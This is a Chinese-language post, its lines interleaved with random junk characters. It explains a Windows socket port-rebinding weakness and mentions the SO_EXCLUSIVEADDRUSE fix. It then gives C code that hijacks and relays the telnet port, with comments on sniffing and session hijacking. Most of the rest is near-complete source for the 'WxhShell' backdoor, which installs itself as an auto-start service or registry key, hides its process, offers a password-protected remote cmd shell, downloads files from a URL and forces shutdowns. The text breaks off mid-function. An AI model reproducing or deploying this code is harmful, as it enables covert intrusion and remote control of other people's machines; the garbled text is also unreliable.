在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
! -c*lb s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
Ds87#/Yfv rxK0<pWJhx saddr.sin_family = AF_INET;
(OqJet2{+ X4$e2f saddr.sin_addr.s_addr = htonl(INADDR_ANY);
vs. uq HUC2RM?FN bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
re!8nuBsA |&Pl 4P 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
OD]J@m "AouiZkh 这意味着什么?意味着可以进行如下的攻击:
$)3PF 5 DB>zou
1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
WO-WoPO ^eW.hNg 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
?X'*
p<` ?i~/gjp
3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
}BJ1#< 5Mr;6
]I< 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
{_Qxe1^g / D ]B 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
2]9<%-=S U_- K6:tr 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
kkBU<L2 2NknC>9(\ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
@'*#]YU8 CLfb`rF #include
!)3s <{k# #include
cf'}*$[S #include
-mJ&N #include
?0mJBA DWORD WINAPI ClientThread(LPVOID lpParam);
0lCd,a2: int main()
RuNH
(>Eb {
ennz/' WORD wVersionRequested;
t4_K>Mj+d DWORD ret;
(u&yb!` WSADATA wsaData;
0NtsFPO BOOL val;
f#kevf9zc SOCKADDR_IN saddr;
ZYe\"|x,s SOCKADDR_IN scaddr;
]zU<=b@ int err;
Sqf.#}u<= SOCKET s;
KN:dm!A SOCKET sc;
:EwA$`/ int caddsize;
%_MR.J+m2 HANDLE mt;
oRThJ B DWORD tid;
[7 `Dgnmq wVersionRequested = MAKEWORD( 2, 2 );
tgtoK|. err = WSAStartup( wVersionRequested, &wsaData );
FRt/{(jro if ( err != 0 ) {
,?<h] !aQ printf("error!WSAStartup failed!\n");
y] ]Vp~R:[ return -1;
^Cn]+0G#C8 }
ff1B)e saddr.sin_family = AF_INET;
HoE.//b R9/xC7l@ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
K}`p_)( hS{
*l9v7 saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
eBTedSM?t saddr.sin_port = htons(23);
7(8 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
%C6zXiO" {
'&:x_WwVrO printf("error!socket failed!\n");
8+a<#?; return -1;
{2k<
k(, }
xO<-<sRA val = TRUE;
0nz@O^*g( //SO_REUSEADDR选项就是可以实现端口重绑定的
bC>>^?U1m if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
pt%~,M _ {
+wW printf("error!setsockopt failed!\n");
_@pf1d$
return -1;
kqigFcz!Y }
B"8JFf}"q //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
11<@++,i //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
L+rySP //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
P9i9<pR vDeG20.?Z if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
sQ:VrXwP {
y7)[cvB ret=GetLastError();
hf^`at printf("error!bind failed!\n");
FR,#s^kF return -1;
k\&IFSp }
<<On*#80w
listen(s,2);
0S:!Gv+ while(1)
qVD!/;l {
@VC9gdO/ caddsize = sizeof(scaddr);
f93rY< //接受连接请求
%r sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
7R<u=U if(sc!=INVALID_SOCKET)
RQS:h]?:l {
m)|.:sj mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
ZYR,8 y if(mt==NULL)
Hv gK_' {
lDPRn~[#\ printf("Thread Creat Failed!\n");
hW!@$Ph break;
#D LT-G0 }
h[je _^5 }
B,vHn2W
CloseHandle(mt);
JNM@Q }
76_8e{zbr closesocket(s);
}RN=9J WSACleanup();
,gL)~6!A return 0;
N 1f~K.e\ }
.H(}[eG_ DWORD WINAPI ClientThread(LPVOID lpParam)
oF b mz* {
7{+Io SOCKET ss = (SOCKET)lpParam;
`b#nC[b6|v SOCKET sc;
X:SzkkVl7 unsigned char buf[4096];
18p3 SOCKADDR_IN saddr;
U??f< long num;
4`! DWORD val;
]i,Mq DWORD ret;
9HNh*Gc= //如果是隐藏端口应用的话,可以在此处加一些判断
1|~#028 //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
5lHN8k=mm2 saddr.sin_family = AF_INET;
snTJe[^d saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
IJ_'w[k saddr.sin_port = htons(23);
Pvg if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
Ro'4/{}+ {
^I'Lw printf("error!socket failed!\n");
)>/j&>% return -1;
^tg6JB;s }
!: EW21m val = 100;
Qk~0a?#y5 if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
$-fj rQ {
0bPJEEd ret = GetLastError();
k$0|^GL8 return -1;
i_9Cc$Qh< }
K+7yUF8XP if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
,LW(mdIe( {
s9_`Wrg? ret = GetLastError();
yNqm]H3<MP return -1;
# McK46B z }
(ju
aDn) if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
q]iKz%|Z/ {
%KJhtd"q printf("error!socket connect failed!\n");
@q{:Oc^ closesocket(sc);
k{}[>))Q closesocket(ss);
rtYb"-& return -1;
~E3SC@KL }
>Oi2gPA while(1)
x<{;1F,k3 {
&w;^m/zP3 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
>G4HZE //如果是嗅探内容的话,可以再此处进行内容分析和记录
5}X<(q( //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
anz9lGG# num = recv(ss,buf,4096,0);
N.5KPAvg% if(num>0)
V
4\^TO`q= send(sc,buf,num,0);
1%/ NL?8# else if(num==0)
hk"9D<&i>b break;
a_ 9 |xI num = recv(sc,buf,4096,0);
6_9:Eb=^v! if(num>0)
6cQeL$,SQ send(ss,buf,num,0);
+;:aG6q+ else if(num==0)
"9U+h2#] break;
j:v~MrQ7| }
\'It,PN closesocket(ss);
=2;mxJ# o closesocket(sc);
'.%iPMM return 0 ;
W>q*.9}Y" }
5I)~4.U|,m ~ F?G5cN5 t-eKruj+ ==========================================================
_#J_$CE# cYq']$] 下边附上一个代码,,WXhSHELL
"LP,
TC 1IOo?e=/bM ==========================================================
_gPVmGG 8u:v:>D.' #include "stdafx.h"
n!kk~65| PuCwdTan_ #include <stdio.h>
Y-Ziyy #include <string.h>
)tN?: l #include <windows.h>
LY\ddI*s #include <winsock2.h>
KlVi4.] #include <winsvc.h>
>YJ8u{Z{o #include <urlmon.h>
]/ZA/:Oa+ e9z$+h #pragma comment (lib, "Ws2_32.lib")
vDK:v$g #pragma comment (lib, "urlmon.lib")
v2M"b?Q =2.tu*!C #define MAX_USER 100 // 最大客户端连接数
zJnL<Q #define BUF_SOCK 200 // sock buffer
)d770Xg+ #define KEY_BUFF 255 // 输入 buffer
^Txu~r0@ xUiWiOihr6 #define REBOOT 0 // 重启
t-*VsPy #define SHUTDOWN 1 // 关机
"4Lg8qm JAGi""3HG #define DEF_PORT 5000 // 监听端口
1AV1d%F [ 5CS}FB #define REG_LEN 16 // 注册表键长度
:"OZc7
~ #define SVC_LEN 80 // NT服务名长度
RsqRR`|X? !q~X*ZKse // 从dll定义API
7gVh!rm typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
J^ +_8 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
#;\L,a|>* typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
p|&ZJ@3 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
vHs>ba$" $'A4RVVT // wxhshell配置信息
Cbgj@4H struct WSCFG {
L\/u}]dPQ int ws_port; // 监听端口
SWNU1x{,c\ char ws_passstr[REG_LEN]; // 口令
Fe_::NVvk int ws_autoins; // 安装标记, 1=yes 0=no
jgo e^f char ws_regname[REG_LEN]; // 注册表键名
6)=](VmNL` char ws_svcname[REG_LEN]; // 服务名
ffmG~$Yh_ char ws_svcdisp[SVC_LEN]; // 服务显示名
8N=%X-R% char ws_svcdesc[SVC_LEN]; // 服务描述信息
H$NP1^5! char ws_passmsg[SVC_LEN]; // 密码输入提示信息
Gt^|+[gD int ws_downexe; // 下载执行标记, 1=yes 0=no
]Y_{P~ZX char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
ewb*?In char ws_filenam[SVC_LEN]; // 下载后保存的文件名
ntrY =Y Nk lz_] };
n~1tm (l\a '3a. // default Wxhshell configuration
}G>v]bV0V struct WSCFG wscfg={DEF_PORT,
Ez06:]Jd "xuhuanlingzhe",
|_l<JQvf`E 1,
0OleO9Ua "Wxhshell",
A5CdLwk "Wxhshell",
i&A{L}eCr: "WxhShell Service",
.+{nA}Bc "Wrsky Windows CmdShell Service",
EpRXjz "Please Input Your Password: ",
]%gp?9wy 1,
gIV3n#-{L "
http://www.wrsky.com/wxhshell.exe",
D+|
K%_Qq "Wxhshell.exe"
HBt|}uZ?6i };
G"G{AS 8q_1(& O // 消息定义模块
r5f^WZ$- char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
tP}Xhn` char *msg_ws_prompt="\n\r? for help\n\r#>";
%iK%$ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
Pk$}%;@v char *msg_ws_ext="\n\rExit.";
W0VA'W char *msg_ws_end="\n\rQuit.";
D3<IuWeM char *msg_ws_boot="\n\rReboot...";
>}ro[x`K char *msg_ws_poff="\n\rShutdown...";
9b?i
G char *msg_ws_down="\n\rSave to ";
[Xxw]C6\>( ^7i^ \w0 char *msg_ws_err="\n\rErr!";
$cRcap char *msg_ws_ok="\n\rOK!";
[ Z#+gh Of1IdE6~ char ExeFile[MAX_PATH];
0L!er%GM int nUser = 0;
4fu'QZ(} HANDLE handles[MAX_USER];
5Waw?1GL int OsIsNt;
Wr]O 4a\n4KO X SERVICE_STATUS serviceStatus;
xCR;
K]! SERVICE_STATUS_HANDLE hServiceStatusHandle;
]XmQ]Yit whV&qe;sw // 函数声明
gsW=3m&` int Install(void);
Z6 t E{/ int Uninstall(void);
?RZq =5Um& int DownloadFile(char *sURL, SOCKET wsh);
k%{ l4 int Boot(int flag);
t{+M|Y void HideProc(void);
o)0C-yO0qf int GetOsVer(void);
77+|#<J int Wxhshell(SOCKET wsl);
/uK)rG
F void TalkWithClient(void *cs);
Bs_S.JP<` int CmdShell(SOCKET sock);
KjO-0VMN3 int StartFromService(void);
gsnP!2cR int StartWxhshell(LPSTR lpCmdLine);
=hJfL}&O3 +2-
qlU VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
6kP7 VOID WINAPI NTServiceHandler( DWORD fdwControl );
4uFIpS|rq K|`+C1! // 数据结构和表定义
CT|z[^ SERVICE_TABLE_ENTRY DispatchTable[] =
_GE=kw;: {
#]?tY}~ {wscfg.ws_svcname, NTServiceMain},
^Y$QR] {NULL, NULL}
pI
&o?n };
Bk&-1>cY Xwn3+tSIa // 自我安装
!A~d[</]m int Install(void)
F;pTXt}?5 {
yPSVwe|g char svExeFile[MAX_PATH];
66/Z\H^d HKEY key;
x:p}w[WM strcpy(svExeFile,ExeFile);
DP|TIt ,Rl "]v
uD // 如果是win9x系统,修改注册表设为自启动
I%SuT7"Do if(!OsIsNt) {
I4rV5;f
H4 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
ojX%RU RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
NPS.6qY RegCloseKey(key);
yb69Q#V2 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
k69kv9v@J RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
~D*b3K8X RegCloseKey(key);
<'W=]IAV return 0;
ldK>HxM%Z }
_Q>
"\_, }
}6<)yW}U }
h5x*NM1Ih else {
{W-5:~?" Dh2#$[/@1 // 如果是NT以上系统,安装为系统服务
3Hs$]nQ_X SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
DUqJ y*F( if (schSCManager!=0)
w
nWgy4: {
j+$M?Z^ SC_HANDLE schService = CreateService
oE$hqd s (
hXNH"0VCV schSCManager,
RV}GK
L>gn wscfg.ws_svcname,
hBjVe?{ wscfg.ws_svcdisp,
i^R{Ul[ SERVICE_ALL_ACCESS,
vT%qILTrQf SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
;8BA~,4l SERVICE_AUTO_START,
{wcO[bN SERVICE_ERROR_NORMAL,
juH wHt svExeFile,
K|US~Hgv NULL,
9WOu8Ia NULL,
d`85P+Qen| NULL,
|P>|D+I0 NULL,
U{"f.Z:Ydo NULL
n"iNKR>nW );
CldDr<k3 if (schService!=0)
Mxo6fn6-46 {
h!v/s=8c CloseServiceHandle(schService);
'5AvT:
^u CloseServiceHandle(schSCManager);
.?B{GnB> strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
l^ARW
E strcat(svExeFile,wscfg.ws_svcname);
\9'!"-i if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
p'gb)nI
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
?d4Boe0-a2 RegCloseKey(key);
NIaF 5z return 0;
YwGHG{?e }
lu]o34 }
#9i6+. Z CloseServiceHandle(schSCManager);
ujx@@N }
%Z7%jma }
fSjs?zd` l~rb]6E return 1;
$6#
lTYN~ }
Rnr#$C% +ZclGchw // 自我卸载
"?P[9x} int Uninstall(void)
L@nebT;\' {
{M[~E|@D HKEY key;
^Z#@3= , |l@j% if(!OsIsNt) {
wYjQV?, if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
~H u"yAR RegDeleteValue(key,wscfg.ws_regname);
f|#8qiUS RegCloseKey(key);
Fom>'g* if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
Z["BgEJ RegDeleteValue(key,wscfg.ws_regname);
Pr`s0J%m RegCloseKey(key);
p-,Iio+ return 0;
S.W^7Ap }
ck$M(^)l }
)km7tA
0a }
(8G$(MK else {
/=TH08 XMw.wQ'? SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
Ny^'IUu if (schSCManager!=0)
~r&D6Y {
iV!@bC, SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
5}XvL' if (schService!=0)
1q]&7R {
uH\w. if(DeleteService(schService)!=0) {
4%J|D cY2 CloseServiceHandle(schService);
&wjB{% CloseServiceHandle(schSCManager);
NF mc>0- return 0;
p,;mYm s }
\_9rr6^" CloseServiceHandle(schService);
L,$3Yj }
O |WbFf CloseServiceHandle(schSCManager);
pv&^D,H, }
_f|/*.
@Q }
,#d[ad< `eC+% O return 1;
+ubnx{VC }
jgq{pZ#E ?mU\
N0o // 从指定url下载文件
3;l "=#5 int DownloadFile(char *sURL, SOCKET wsh)
Yb6q))Y {
/zT`Y=1 HRESULT hr;
,Kw5Ro`I: char seps[]= "/";
Sy char *token;
. :a<2sp6 char *file;
|` "? char myURL[MAX_PATH];
2m" _z char myFILE[MAX_PATH];
\ha-"Aqze3 )7Ixz1I9g strcpy(myURL,sURL);
W5Zqgsy($F token=strtok(myURL,seps);
Xa,\EEmQ while(token!=NULL)
Kam]Mn' {
@5E,:)T*wR file=token;
_mk5^u/u token=strtok(NULL,seps);
1TZPef^y }
+s~.A_7) H^
BYd%- GetCurrentDirectory(MAX_PATH,myFILE);
xA #H0?a] strcat(myFILE, "\\");
k':s =IXW strcat(myFILE, file);
'zxoRc-b@N send(wsh,myFILE,strlen(myFILE),0);
oHX$k{6 send(wsh,"...",3,0);
uR_F,Mp?%u hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
uPLErO9Es[ if(hr==S_OK)
m$:&P|!'p return 0;
kjE*9bUc else
Q["t eo]DQ return 1;
ehT%s+aUw 7ZsA5%s=, }
-DCa
4pPI'd&/7 // 系统电源模块
WYszk ,E int Boot(int flag)
j?-R]^-5 {
7&+Ys HANDLE hToken;
Jhy(x1% TOKEN_PRIVILEGES tkp;
OipqoI2 6(KmA-!b(O if(OsIsNt) {
URw5U1 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
K9|7dvzC: LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
&{z<kmc$6 tkp.PrivilegeCount = 1;
P^i.La, tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
E\$C/}T AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
S_\
F if(flag==REBOOT) {
Cj^{9'0 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
x8"#!Pw:`" return 0;
N wtg%; }
`@XehSQ else {
Wi$dZOcSJ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
FjFwvO_. return 0;
Fo}7hab }
_Y!sVJ){,c }
%|+E48 else {
@cv{rr if(flag==REBOOT) {
T)SbHp Y if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
H?Jm'\~ return 0;
Z<"K_bj }
Phs-(3 else {
Cq\I''~8 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
:2y"3azxk return 0;
"HlgRp]u }
Ns=AjhLc z }
ZnfNQl[ ][7p+IsB return 1;
F]_cbM{8/ }
a$JLc a \ZH&LPAY // win9x进程隐藏模块
qZ X/@Yxz void HideProc(void)
DC:)Ysuj {
E\ th%q,mG s 3r=mp{ HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
4c159wsnQ if ( hKernel != NULL )
8C7Z{@A {
Qh`:<KI pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
TH?9< C-C
( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
+sZUJ FreeLibrary(hKernel);
= yXs?y" }
;t(f1rPyE qf8[!5GM return;
S$[k Q|Am }
1-VT}J( fly,-$K>LO // 获取操作系统版本
2R.2D'4)` int GetOsVer(void)
UVEz;<5@\ {
J4aBPq` OSVERSIONINFO winfo;
q_t4OrLr= winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
?c#$dc" GetVersionEx(&winfo);
,pt%)
c if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
8;" *6vHZ return 1;
0KvVw rWJ else
,1UZv>}S return 0;
Qa`hR }
^b-18 ~s m,_d^ // 客户端句柄模块
%XTA;lrz int Wxhshell(SOCKET wsl)
<@uOCRbV {
la^
DjHA$ SOCKET wsh;
vkcRm`. struct sockaddr_in client;
0 f/.>1M= DWORD myID;
%2l7Hmp4H uT_!'l$fr while(nUser<MAX_USER)
!#x= JX {
!GK$[9 int nSize=sizeof(client);
${hz e<g wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
p{Sh F. if(wsh==INVALID_SOCKET) return 1;
?mYYt]R K : LL_, handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
J5yidymrpW if(handles[nUser]==0)
- u3e5gW closesocket(wsh);
}!d;(/)rb else
*}!MOqP nUser++;
'0t-]NAc }
[aqu}Su WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
,/,9j{|"j :Vuf6, return 0;
& >JDPB?5 }
:k,Q,B.I .tXtcf/ // 关闭 socket
{}Ejt:rKN void CloseIt(SOCKET wsh)
t?)pl2!A {
[=%YV# O closesocket(wsh);
C>QIrZu nUser--;
$2#7D*
Rx ExitThread(0);
NPjv)TN}3 }
:@3Wg3N /Cr/RG:OX // 客户端请求句柄
b.yh8|& void TalkWithClient(void *cs)
e}{U7xQm1 {
$t=O: 3f76kl(& SOCKET wsh=(SOCKET)cs;
6][1<}8 char pwd[SVC_LEN];
=XY]x char cmd[KEY_BUFF];
,^'R_efY char chr[1];
=Agg_h int i,j;
%$ceJ`%1e ^ 4hO8 while (nUser < MAX_USER) {
k#JQxLy# j 6)Y if(wscfg.ws_passstr) {
bKbp?-] if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
K
k[`dR; //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
@y|_d //ZeroMemory(pwd,KEY_BUFF);
-X1X)0v$ i=0;
n!ok?=(kQ while(i<SVC_LEN) {
SZ!=`a] [`_io>*g // 设置超时
/Z%>ArAx fd_set FdRead;
I!: z,t< struct timeval TimeOut;
NCS!:d:Ry FD_ZERO(&FdRead);
)j&"%[2F FD_SET(wsh,&FdRead);
; y.E! TimeOut.tv_sec=8;
\gO,hST TimeOut.tv_usec=0;
TH1B#Y#<J int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
{rH9grb if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
GG6%bF edC4BHE if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
kODK@w V- pwd
=chr[0]; QLq@u[A
if(chr[0]==0xd || chr[0]==0xa) { 8Jr?ZDf`
pwd=0; 8<#U9]
break; )NW6?Pu"
} ]<w:V`(
i++; 5\4g>5PD
} =hH.zrI6e
5z/Er".P
// 如果是非法用户,关闭 socket )mN9(Ob!
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); fnu"*5bE
} sq0 PBEqq
<G3&z#]#4
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); uOi&G:=
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `S/wJ'c
+5p{5 q(o
while(1) { h3G.EM:eG
g:)DNy
ZeroMemory(cmd,KEY_BUFF); w7kJg'X/6
hkL5HzWn
// 自动支持客户端 telnet标准 V6a``i]
j=0; LLAa1Wq
while(j<KEY_BUFF) {
~=n#}{/
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); WMuD}s
cmd[j]=chr[0]; MtmOUI&'
if(chr[0]==0xa || chr[0]==0xd) { ^CT&0
cmd[j]=0; yX/";Oe
break; (k"_># %
} )LHj+B
j++; h#}YKWL
} arZ@3]X%a
,TC;{ $O5
// 下载文件 $&P?l=UG
if(strstr(cmd,"http://")) { rP=sG;d
send(wsh,msg_ws_down,strlen(msg_ws_down),0); 773/#c
if(DownloadFile(cmd,wsh)) {bNXedZ\
send(wsh,msg_ws_err,strlen(msg_ws_err),0); omX?Bl
else $.mQ7XDA9
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]o/|na*
} <fO4{k*&
else { _%@=Uc6V
x%>
e)L<
switch(cmd[0]) {
\' li
akuJz
// 帮助 Wsj=!Obc
case '?': { F@<0s&)1
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); n-;y*kD
break; =bt]JRU
} qCMl!g'
// 安装 ]dPZ .r
case 'i': { p='-\M74K
if(Install()) deX5yrvOie
send(wsh,msg_ws_err,strlen(msg_ws_err),0); )h$NS2B`
else Vd9@Dy
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (&\aA 0-}H
break; ;e8V
+h
} f^Bc
// 卸载 MQ/
A]EeL
case 'r': { adEJk
if(Uninstall()) q 2?X"!
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6vzk\n
else V9 }t0$LN
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |1=
!;.#
break; T5lQIr@a
} xycH~ ?
// 显示 wxhshell 所在路径 Z+:D)L
case 'p': { [Gr*,nVvB
char svExeFile[MAX_PATH]; kMxazx1
strcpy(svExeFile,"\n\r"); tJI,r_
strcat(svExeFile,ExeFile); w5C*L)l
send(wsh,svExeFile,strlen(svExeFile),0); BNGe
exs@
break; WgR4Ix^L#
} *<V^2z$y_
// 重启 3yS
case 'b': { ni CE\B~
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); JN3cg
if(Boot(REBOOT)) ``Q2P%
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7YIK9edP
else { D@YP7
closesocket(wsh); p#8W#t$
ExitThread(0); &%aXR A#+
} vlWw3>4
break; fp>.Owt%.
} B)SLG]72f
// 关机 =H]F`[B=
case 'd': { "kW!{n
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); TJ@Cj y%
if(Boot(SHUTDOWN)) -C7 FuD[Xw
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0(>rG{u
else { ph:3|d
closesocket(wsh); Mio>{%/
ExitThread(0); g9h(sLSF
} 25{ uz
break; XFZ~ #DT&
} }2>"<)
// 获取shell qB6dFl\ (
case 's': { <|6%9@
CmdShell(wsh); 0&Gl@4oZ"
closesocket(wsh); M++0zhS
ExitThread(0); y&T&1o
break; (g8*d^u#PO
} tl8O6`<Z
// 退出 +RZ~LA\+
case 'x': { [G|mY6F^
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Y#V8(DTyH
CloseIt(wsh); P<dy3;
break; VkmRh,T
} D@Da0
// 离开 8pZ<9t'
case 'q': { t@zdmy
send(wsh,msg_ws_end,strlen(msg_ws_end),0); 'w/qcD-
closesocket(wsh); 2i=H"('G)+
WSACleanup(); PK6iY7Qp)
exit(1); !-]C;9Zd
break; ~XM[>M\qB
} 8}p8r|d!ls
} B;zt#H4
} - Xupq/[,
Rhgj&4
// 提示信息 Ibr%d2yS=
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8Cf|*C+_'
} ?2J?XS>
} x!TZ0fq0
t={0(
return; q%3<Juq~$
} OmMX$YID
c-]fKj7
// shell模块句柄 ('k<XOi
int CmdShell(SOCKET sock) wGKo.lt
{ s'I)A^i+
STARTUPINFO si; V-W'RunnW
ZeroMemory(&si,sizeof(si)); L^Wz vv]
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ?H|T&66
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; x!7yU_ls`
PROCESS_INFORMATION ProcessInfo; Nud,\mXrY[
char cmdline[]="cmd"; mO rWJ~=
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); G$WOzY(
return 0; ?r_kyuU
} fZryG
:J_oj:0r"f
// 自身启动模式 Csst[3V
int StartFromService(void) S\C*iGeqJ
{ _kraMQ>
typedef struct "PWl4a&
{ TR vZ
